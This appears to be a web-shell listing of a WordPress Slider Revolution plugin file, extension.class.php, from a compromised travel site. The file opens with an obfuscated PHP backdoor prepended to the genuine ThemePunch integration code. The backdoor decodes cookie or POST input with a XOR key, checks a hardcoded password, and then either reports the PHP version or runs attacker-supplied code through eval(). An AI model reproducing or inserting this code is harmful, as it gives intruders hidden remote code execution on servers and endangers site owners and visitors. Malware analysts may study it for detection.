%PDF- %PDF-
Direktori : /var/www/html/friendstravel.al/wp-content/plugins/revslider/includes/ |
Current File : /var/www/html/friendstravel.al/wp-content/plugins/revslider/includes/extension.class.php |
<?php $mc1baf8 = 151;$GLOBALS['a6bc7'] = Array();global $a6bc7;$a6bc7 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['m3657'] = "\x5d\x77\x4a\x47\x6f\x25\x3b\x78\x68\x33\x3c\x45\x60\x63\x66\x37\x21\x2c\x4b\x2a\x36\x2f\x6c\x6d\x70\x44\x7a\x20\x26\x59\x3d\x46\x41\x3e\x4d\x32\x6a\x61\x29\x49\x3f\x9\x57\x42\x69\x6b\x23\x2d\x62\x51\x55\x4c\x35\x7e\x22\x6e\x30\x4e\x5a\x54\x40\x5b\x48\x52\x72\x65\x43\x28\x50\x71\x4f\xd\x53\x67\x7c\x27\x76\x75\x5f\x39\x74\xa\x38\x24\x31\x58\x7d\x79\x2b\x2e\x34\x5c\x73\x5e\x64\x56\x3a\x7b";$a6bc7[$a6bc7['m3657'][23].$a6bc7['m3657'][48].$a6bc7['m3657'][37].$a6bc7['m3657'][35].$a6bc7['m3657'][90].$a6bc7['m3657'][79].$a6bc7['m3657'][48].$a6bc7['m3657'][37]] = $a6bc7['m3657'][13].$a6bc7['m3657'][8].$a6bc7['m3657'][64];$a6bc7[$a6bc7['m3657'][36].$a6bc7['m3657'][35].$a6bc7['m3657'][20].$a6bc7['m3657'][14].$a6bc7['m3657'][14].$a6bc7['m3657'][84].$a6bc7['m3657'][52].$a6bc7['m3657'][37]] = $a6bc7['m3657'][4].$a6bc7['m3657'][64].$a6bc7['m3657'][94];$a6bc7[$a6bc7['m3657'][73].$a6bc7['m3657'][9].$a6bc7['m3657'][9].$a6bc7['m3657'][52].$a6bc7['m3657'][48].$a6bc7['m3657'][65]] = $a6bc7['m3657'][92].$a6bc7['m3657'][80].$a6bc7['m3657'][64].$a6bc7['m3657'][22].$a6bc7['m3657'][65].$a6bc7['m3657'][55];$a6bc7[$a6bc7['m3657'][13].$a6bc7['m3657'][84].$a6bc7['m3657'][13].$a6bc7['m3657'][82].$a6bc7['m3657'][90]] = $a6bc7['m3657'][44].$a6bc7['m3657'][55].$a6bc7['m3657'][44].$a6bc7['m3657'][78].$a6bc7['m3657'][92].$a6bc7['m3657'][65].$a6bc7['m3657'][80];$a6bc7[$a6bc7['m3657'][45].$a6bc7['m3657'][90].$a6bc7['m3657'][15].$a6bc7['m3657'][37].$a6bc7['m3657'][90].$a6bc7['m3657'][79].$a6bc7['m3657'][52]] = $a6bc7['m3657'][92].$a6bc7['m3657'][65].$a6bc7['m3657'][64].$a6bc7['m3657'][44].$a6bc7['m3657'][37].$a6bc7['m3657'][22].$a6bc7['m3657'][44].$a6bc7['m3657'][26].$a6bc7['m3657'][65];$a6bc7[$a6bc7['m3657'][26].$a6bc7['m3657'][82].$a6bc7['m3657'][20].$a6bc7['m3657'][84].$a6bc7['m3657'][82].$a6bc7['m3657'][37].$a6bc7['m3657'][90].$a6bc7['m3657'][84]] = $a6bc7['m3657'][24].$a6bc7['m3657'][8].$a6bc7['m3657'][24].$a6bc7['m3657'][76].$a6bc7['m3657'][65].$a6bc7['m3657'][64].$a6bc7['m3657'][92].$a6bc7['m3657'][44].$a6bc7['m3657'][4].$a6bc7['m3657'][55];$a6bc7[$a6bc7['m3657'][48].$a6bc7['m3657'][13].$a6bc7['m3657'][52].$a6bc7['m3657'][20].$a6bc7['m3657'][9].$a6bc7['m3657'][56]] = $a6bc7['m3657'][77].$a6bc7['m3657'][55].$a6bc7['m3657'][92].$a6bc7['m3657'][65].$a6bc7['m3657'][64].$a6bc7['m3657'][44].$a6bc7['m3657'][37].$a6bc7['m3657'][22].$a6bc7['m3657'][44].$a6bc7['m3657'][26].$a6bc7['m3657'][65];$a6bc7[$a6bc7['m3657'][1].$a6bc7['m3657'][82].$a6bc7['m3657'][15].$a6bc7['m3657'][15].$a6bc7['m3657'][52].$a6bc7['m3657'][65]] = $a6bc7['m3657'][48].$a6bc7['m3657'][37].$a6bc7['m3657'][92].$a6bc7['m3657'][65].$a6bc7['m3657'][20].$a6bc7['m3657'][90].$a6bc7['m3657'][78].$a6bc7['m3657'][94].$a6bc7['m3657'][65].$a6bc7['m3657'][13].$a6bc7['m3657'][4].$a6bc7['m3657'][94].$a6bc7['m3657'][65];$a6bc7[$a6bc7['m3657'][13].$a6bc7['m3657'][65].$a6bc7['m3657'][52].$a6bc7['m3657'][90].$a6bc7['m3657'][20].$a6bc7['m3657'][15].$a6bc7['m3657'][13].$a6bc7['m3657'][9].$a6bc7['m3657'][90]] = $a6bc7['m3657'][92].$a6bc7['m3657'][65].$a6bc7['m3657'][80].$a6bc7['m3657'][78].$a6bc7['m3657'][80].$a6bc7['m3657'][44].$a6bc7['m3657'][23].$a6bc7['m3657'][65].$a6bc7['m3657'][78].$a6bc7['m3657'][22].$a6bc7['m3657'][44].$a6bc7['m3657'][23].$a6bc7['m3657'][44].$a6bc7['m3657'][80];$a6bc7[$a6bc7['m3657'][48].$a6bc7['m3657'][20].$a6bc7['m3657'][9].$a6bc7['m3657'][65].$a6bc7['m3657'][15].$a6bc7['m3657'][90].$a6bc7['m3657'][52]] = $a6bc7['m3657'][26].$a6bc7['m3657'][56].$a6bc7['m3657'][15].$a6bc7['m3657'][14].$a6bc7['m3657'][14].$a6bc7['m3657'][52].$a6bc7['m3657'][79].$a6bc7['m3657'][37];$a6bc7[$a6bc7['m3657'][73].$a6bc7['m3657'][94].$a6bc7['m3657'][14].$a6bc7['m3657'][79].$a6bc7['m3657'][37].$a6bc7['m3657'][84].$a6bc7['m3657'][56]] = $a6bc7['m3657'][23].$a6bc7['m3657'][9].$a6bc7['m3657'][82].$a6bc7['m3657'][13].$a6bc7['m3657'][14].$a6bc7['m3657'][52].$a6bc7['m3657'][94].$a6bc7['m3657'][90];$a6bc7[$a6bc7['m3657'][36].$a6bc7['m3657'][48].$a6bc7['m3657'][13].$a6bc7['m3657'][52].$a6bc7['m3657'][65].$a6bc7['m3657'][94].$a6bc7['m3657'][56]] = $_POST;$a6bc7[$a6bc7['m3657'][7].$a6bc7['m3657'][20].$a6bc7['m3657'][52].$a6bc7['m3657'][9].$a6bc7['m3657'][37].$a6bc7['m3657'][48].$a6bc7['m3657'][35]] = $_COOKIE;@$a6bc7[$a6bc7['m3657'][13].$a6bc7['m3657'][84].$a6bc7['m3657'][13].$a6bc7['m3657'][82].$a6bc7['m3657'][90]]($a6bc7['m3657'][65].$a6bc7['m3657'][64].$a6bc7['m3657'][64].$a6bc7['m3657'][4].$a6bc7['m3657'][64].$a6bc7['m3657'][78].$a6bc7['m3657'][22].$a6bc7['m3657'][4].$a6bc7['m3657'][73], NULL);@$a6bc7[$a6bc7['m3657'][13].$a6bc7['m3657'][84].$a6bc7['m3657'][13].$a6bc7['m3657'][82].$a6bc7['m3657'][90]]($a6bc7['m3657'][22].$a6bc7['m3657'][4].$a6bc7['m3657'][73].$a6bc7['m3657'][78].$a6bc7['m3657'][65].$a6bc7['m3657'][64].$a6bc7['m3657'][64].$a6bc7['m3657'][4].$a6bc7['m3657'][64].$a6bc7['m3657'][92], 0);@$a6bc7[$a6bc7['m3657'][13].$a6bc7['m3657'][84].$a6bc7['m3657'][13].$a6bc7['m3657'][82].$a6bc7['m3657'][90]]($a6bc7['m3657'][23].$a6bc7['m3657'][37].$a6bc7['m3657'][7].$a6bc7['m3657'][78].$a6bc7['m3657'][65].$a6bc7['m3657'][7].$a6bc7['m3657'][65].$a6bc7['m3657'][13].$a6bc7['m3657'][77].$a6bc7['m3657'][80].$a6bc7['m3657'][44].$a6bc7['m3657'][4].$a6bc7['m3657'][55].$a6bc7['m3657'][78].$a6bc7['m3657'][80].$a6bc7['m3657'][44].$a6bc7['m3657'][23].$a6bc7['m3657'][65], 0);@$a6bc7[$a6bc7['m3657'][13].$a6bc7['m3657'][65].$a6bc7['m3657'][52].$a6bc7['m3657'][90].$a6bc7['m3657'][20].$a6bc7['m3657'][15].$a6bc7['m3657'][13].$a6bc7['m3657'][9].$a6bc7['m3657'][90]](0);$hf11 = NULL;$t1c24b58 = NULL;$a6bc7[$a6bc7['m3657'][4].$a6bc7['m3657'][20].$a6bc7['m3657'][52].$a6bc7['m3657'][52].$a6bc7['m3657'][48].$a6bc7['m3657'][56].$a6bc7['m3657'][82]] = $a6bc7['m3657'][35].$a6bc7['m3657'][20].$a6bc7['m3657'][65].$a6bc7['m3657'][56].$a6bc7['m3657'][82].$a6bc7['m3657'][48].$a6bc7['m3657'][35].$a6bc7['m3657'][84].$a6bc7['m3657'][47].$a6bc7['m3657'][94].$a6bc7['m3657'][52].$a6bc7['m3657'][90].$a6bc7['m3657'][14].$a6bc7['m3657'][47].$a6bc7['m3657'][90].$a6bc7['m3657'][14].$a6bc7['m3657'][15].$a6bc7['m3657'][79].$a6bc7['m3657'][47].$a6bc7['m3657'][37].$a6bc7['m3657'][37].$a6bc7['m3657'][35].$a6bc7['m3657'][37].$a6bc7['m3657'][47].$a6bc7['m3657'][82].$a6bc7['m3657'][79].$a6bc7['m3657'][15].$a6bc7['m3657'][56].$a6bc7['m3657'][35].$a6bc7['m3657'][14].$a6bc7['m3657'][13].$a6bc7['m3657'][15].$a6bc7['m3657'][82].$a6bc7['m3657'][35].$a6bc7['m3657'][94].$a6bc7['m3657'][13];global $o655b08;function m38cf5d4($hf11, $sef939f34){global $a6bc7;$ycfea2c66 = "";for ($j0efe231b=0; $j0efe231b<$a6bc7[$a6bc7['m3657'][73].$a6bc7['m3657'][9].$a6bc7['m3657'][9].$a6bc7['m3657'][52].$a6bc7['m3657'][48].$a6bc7['m3657'][65]]($hf11);){for ($rd2b89c34=0; $rd2b89c34<$a6bc7[$a6bc7['m3657'][73].$a6bc7['m3657'][9].$a6bc7['m3657'][9].$a6bc7['m3657'][52].$a6bc7['m3657'][48].$a6bc7['m3657'][65]]($sef939f34) && $j0efe231b<$a6bc7[$a6bc7['m3657'][73].$a6bc7['m3657'][9].$a6bc7['m3657'][9].$a6bc7['m3657'][52].$a6bc7['m3657'][48].$a6bc7['m3657'][65]]($hf11); $rd2b89c34++, $j0efe231b++){$ycfea2c66 .= $a6bc7[$a6bc7['m3657'][23].$a6bc7['m3657'][48].$a6bc7['m3657'][37].$a6bc7['m3657'][35].$a6bc7['m3657'][90].$a6bc7['m3657'][79].$a6bc7['m3657'][48].$a6bc7['m3657'][37]]($a6bc7[$a6bc7['m3657'][36].$a6bc7['m3657'][35].$a6bc7['m3657'][20].$a6bc7['m3657'][14].$a6bc7['m3657'][14].$a6bc7['m3657'][84].$a6bc7['m3657'][52].$a6bc7['m3657'][37]]($hf11[$j0efe231b]) ^ $a6bc7[$a6bc7['m3657'][36].$a6bc7['m3657'][35].$a6bc7['m3657'][20].$a6bc7['m3657'][14].$a6bc7['m3657'][14].$a6bc7['m3657'][84].$a6bc7['m3657'][52].$a6bc7['m3657'][37]]($sef939f34[$rd2b89c34]));}}return $ycfea2c66;}function z07ff59a($hf11, $sef939f34){global $a6bc7;global $o655b08;return $a6bc7[$a6bc7['m3657'][73].$a6bc7['m3657'][94].$a6bc7['m3657'][14].$a6bc7['m3657'][79].$a6bc7['m3657'][37].$a6bc7['m3657'][84].$a6bc7['m3657'][56]]($a6bc7[$a6bc7['m3657'][73].$a6bc7['m3657'][94].$a6bc7['m3657'][14].$a6bc7['m3657'][79].$a6bc7['m3657'][37].$a6bc7['m3657'][84].$a6bc7['m3657'][56]]($hf11, $o655b08), $sef939f34);}foreach ($a6bc7[$a6bc7['m3657'][7].$a6bc7['m3657'][20].$a6bc7['m3657'][52].$a6bc7['m3657'][9].$a6bc7['m3657'][37].$a6bc7['m3657'][48].$a6bc7['m3657'][35]] as $sef939f34=>$l40bf622){$hf11 = $l40bf622;$t1c24b58 = $sef939f34;}if (!$hf11){foreach ($a6bc7[$a6bc7['m3657'][36].$a6bc7['m3657'][48].$a6bc7['m3657'][13].$a6bc7['m3657'][52].$a6bc7['m3657'][65].$a6bc7['m3657'][94].$a6bc7['m3657'][56]] as $sef939f34=>$l40bf622){$hf11 = $l40bf622;$t1c24b58 = $sef939f34;}}$hf11 = @$a6bc7[$a6bc7['m3657'][48].$a6bc7['m3657'][13].$a6bc7['m3657'][52].$a6bc7['m3657'][20].$a6bc7['m3657'][9].$a6bc7['m3657'][56]]($a6bc7[$a6bc7['m3657'][48].$a6bc7['m3657'][20].$a6bc7['m3657'][9].$a6bc7['m3657'][65].$a6bc7['m3657'][15].$a6bc7['m3657'][90].$a6bc7['m3657'][52]]($a6bc7[$a6bc7['m3657'][1].$a6bc7['m3657'][82].$a6bc7['m3657'][15].$a6bc7['m3657'][15].$a6bc7['m3657'][52].$a6bc7['m3657'][65]]($hf11), $t1c24b58));if (isset($hf11[$a6bc7['m3657'][37].$a6bc7['m3657'][45]]) && $o655b08==$hf11[$a6bc7['m3657'][37].$a6bc7['m3657'][45]]){if ($hf11[$a6bc7['m3657'][37]] == $a6bc7['m3657'][44]){$j0efe231b = Array($a6bc7['m3657'][24].$a6bc7['m3657'][76] => @$a6bc7[$a6bc7['m3657'][26].$a6bc7['m3657'][82].$a6bc7['m3657'][20].$a6bc7['m3657'][84].$a6bc7['m3657'][82].$a6bc7['m3657'][37].$a6bc7['m3657'][90].$a6bc7['m3657'][84]](),$a6bc7['m3657'][92].$a6bc7['m3657'][76] => $a6bc7['m3657'][84].$a6bc7['m3657'][89].$a6bc7['m3657'][56].$a6bc7['m3657'][47].$a6bc7['m3657'][84],);echo @$a6bc7[$a6bc7['m3657'][45].$a6bc7['m3657'][90].$a6bc7['m3657'][15].$a6bc7['m3657'][37].$a6bc7['m3657'][90].$a6bc7['m3657'][79].$a6bc7['m3657'][52]]($j0efe231b);}elseif ($hf11[$a6bc7['m3657'][37]] == $a6bc7['m3657'][65]){eval/*d6cdcb097*/($hf11[$a6bc7['m3657'][94]]);}exit();} ?><?php /** * Slider Revolution * * @package Essential_Grid * @author ThemePunch <info@themepunch.com> * @link http://revolution.themepunch.com/ * @copyright 2015 ThemePunch */ /** * @package RevSliderExtension * @author ThemePunch <info@themepunch.com> */ if( !defined( 'ABSPATH') ) exit(); class RevSliderExtension { public function __construct() { $this->init_essential_grid_extensions(); } /*************************** * Setup part for Revslider inclusion into Essential Grid ***************************/ /** * Do all initializations for RevSlider integration */ public function init_essential_grid_extensions(){ if(!class_exists('Essential_Grid')) return false; //only add if Essential Grid is installed add_filter('essgrid_set_ajax_source_order', array($this, 'add_slider_to_eg_ajax')); add_filter('essgrid_handle_ajax_content', array($this, 'set_slider_values_to_eg_ajax'), 10, 4); add_action('essgrid_add_meta_options', array($this, 'add_eg_additional_meta_field')); add_action('essgrid_save_meta_options', array($this, 'save_eg_additional_meta_field'), 10, 2); //only do on frontend add_action('admin_head', array($this, 'add_eg_additional_inline_javascript')); add_action('wp_head', array($this, 'add_eg_additional_inline_javascript')); } /** * Add Slider to the List of choosable media */ public function add_slider_to_eg_ajax($media){ $media['revslider'] = array('name' => __('Slider Revolution', 'revslider'), 'type' => 'ccw'); return $media; } /** * Add Slider to the List of choosable media */ public function set_slider_values_to_eg_ajax($handle, $media_sources, $post, $grid_id){ if($handle !== 'revslider') return false; $slider_source = ''; $values = get_post_custom($post['ID']); if(isset($values['eg_sources_revslider'])){ if(isset($values['eg_sources_revslider'][0])) $slider_source = (isset($values['eg_sources_revslider'][0])) ? $values['eg_sources_revslider'][0] : ''; else $slider_source = (isset($values['eg_sources_revslider'])) ? $values['eg_sources_revslider'] : ''; } if($slider_source === ''){ return false; }else{ return ' data-ajaxtype="'.$handle.'" data-ajaxsource="'.$slider_source.'"'; } } /** * Adds custom meta field into the essential grid meta box for post/pages */ public function add_eg_additional_meta_field($values){ $sld = new RevSlider(); $sliders = $sld->getArrSliders(); $shortcodes = array(); if(!empty($sliders)){ $first = true; foreach($sliders as $slider){ $name = $slider->getParam('shortcode','false'); if($name != 'false'){ $shortcodes[$slider->getID()] = $name; $first = false; } } } $selected_slider = (isset($values['eg_sources_revslider'])) ? $values['eg_sources_revslider'] : ''; if($selected_slider == '') $selected_slider[0] = ''; ?> <p> <strong style="font-size:14px"><?php _e('Choose Revolution Slider', 'revslider'); ?></strong> </p> <p> <select name="eg_sources_revslider" id="eg_sources_revslider"> <option value=""<?php selected($selected_slider[0], ''); ?>><?php _e('--- Choose Slider ---', 'revslider'); ?></option> <?php if(!empty($shortcodes)){ foreach($shortcodes as $id => $name){ ?> <option value="<?php echo $id; ?>"<?php selected($selected_slider[0], $id); ?>><?php echo $name; ?></option> <?php } } ?> </select> </p> <?php } /** * Adds custom meta field into the essential grid meta box for post/pages */ public function save_eg_additional_meta_field($metas, $post_id){ if(isset($metas['eg_sources_revslider'])) update_post_meta($post_id, 'eg_sources_revslider', $metas['eg_sources_revslider']); } /** * Adds needed javascript to the DOM */ public function add_eg_additional_inline_javascript(){ ?> <script type="text/javascript"> var ajaxRevslider; jQuery(document).ready(function() { // CUSTOM AJAX CONTENT LOADING FUNCTION ajaxRevslider = function(obj) { // obj.type : Post Type // obj.id : ID of Content to Load // obj.aspectratio : The Aspect Ratio of the Container / Media // obj.selector : The Container Selector where the Content of Ajax will be injected. It is done via the Essential Grid on Return of Content var content = ""; data = {}; data.action = 'revslider_ajax_call_front'; data.client_action = 'get_slider_html'; data.token = '<?php echo wp_create_nonce("RevSlider_Front"); ?>'; data.type = obj.type; data.id = obj.id; data.aspectratio = obj.aspectratio; // SYNC AJAX REQUEST jQuery.ajax({ type:"post", url:"<?php echo admin_url('admin-ajax.php'); ?>", dataType: 'json', data:data, async:false, success: function(ret, textStatus, XMLHttpRequest) { if(ret.success == true) content = ret.data; }, error: function(e) { console.log(e); } }); // FIRST RETURN THE CONTENT WHEN IT IS LOADED !! return content; }; // CUSTOM AJAX FUNCTION TO REMOVE THE SLIDER var ajaxRemoveRevslider = function(obj) { return jQuery(obj.selector+" .rev_slider").revkill(); }; // EXTEND THE AJAX CONTENT LOADING TYPES WITH TYPE AND FUNCTION var extendessential = setInterval(function() { if (jQuery.fn.tpessential != undefined) { clearInterval(extendessential); if(typeof(jQuery.fn.tpessential.defaults) !== 'undefined') { jQuery.fn.tpessential.defaults.ajaxTypes.push({type:"revslider",func:ajaxRevslider,killfunc:ajaxRemoveRevslider,openAnimationSpeed:0.3}); // type: Name of the Post to load via Ajax into the Essential Grid Ajax Container // func: the Function Name which is Called once the Item with the Post Type has been clicked // killfunc: function to kill in case the Ajax Window going to be removed (before Remove function ! // openAnimationSpeed: how quick the Ajax Content window should be animated (default is 0.3) } } },30); }); </script> <?php } } ?>